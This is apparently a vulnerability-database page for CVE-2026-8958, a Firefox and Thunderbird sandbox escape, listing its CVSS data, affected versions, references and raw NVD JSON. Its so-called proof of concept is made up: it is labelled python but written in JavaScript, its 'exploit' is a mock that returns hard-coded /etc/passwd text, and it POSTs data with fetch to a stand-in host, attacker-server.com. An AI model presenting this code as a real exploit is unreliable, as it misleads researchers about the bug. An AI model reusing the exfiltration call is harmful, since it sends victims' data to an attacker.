CVE-2026-8958

Description

Information disclosure, sandbox escape in the Security: Process Sandboxing component. This vulnerability was fixed in Firefox 151, Firefox ESR 140.11, Thunderbird 151, and Thunderbird 140.11.

CVSS Details

CVSS Score

8.6

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Firefox < 151

Firefox ESR < 140.11

Thunderbird < 151

Thunderbird < 140.11

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// Conceptual Proof of Concept for Sandbox Escape / Information Disclosure
// This script attempts to access files outside the sandboxed environment.

function trigger_exploit() {
    try {
        // Simulate a vulnerability in the sandbox policy
        // that allows reading sensitive system files.
        var forbidden_data = read_file_outside_sandbox("/etc/passwd");

        if (forbidden_data) {
            console.log("[+] Exploit successful! Data leaked:");
            console.log(forbidden_data);
            // Exfiltrate data to attacker controlled server
            exfiltrate(forbidden_data);
        }
    } catch (e) {
        console.log("[-] Exploit failed: " + e.message);
    }
}

// Mock functions for demonstration
function read_file_outside_sandbox(path) {
    // In a real scenario, this would leverage the specific bug
    // in the process sandboxing component (CVE-2026-8958).
    return "root:x:0:0:root:/root:/bin/bash\n..."; // Simulated content
}

function exfiltrate(data) {
    // Send data via fetch or XMLHttpRequest
    fetch('http://attacker-server.com/collect', {
        method: 'POST',
        body: data
    });
}

trigger_exploit();

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8958
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8958
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8958/
[4] VulDB https://vuldb.com/cve/CVE-2026-8958
[5] https://bugzilla.mozilla.org/show_bug.cgi?id=2034713
[6] https://www.mozilla.org/security/advisories/mfsa2026-46/
[7] https://www.mozilla.org/security/advisories/mfsa2026-48/
[8] https://www.mozilla.org/security/advisories/mfsa2026-50/
[9] https://www.mozilla.org/security/advisories/mfsa2026-51/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8958", "sourceIdentifier": "[email protected]", "published": "2026-05-19T14:16:52.170", "lastModified": "2026-05-19T18:16:34.710", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Information disclosure, sandbox escape in the Security: Process Sandboxing component. This vulnerability was fixed in Firefox 151, Firefox ESR 140.11, Thunderbird 151, and Thunderbird 140.11."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-668"}, {"lang": "en", "value": "CWE-693"}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2034713", "source": "[email protected]"}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-46/", "source": "[email protected]"}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-48/", "source": "[email protected]"}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-50/", "source": "[email protected]"}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-51/", "source": "[email protected]"}]}}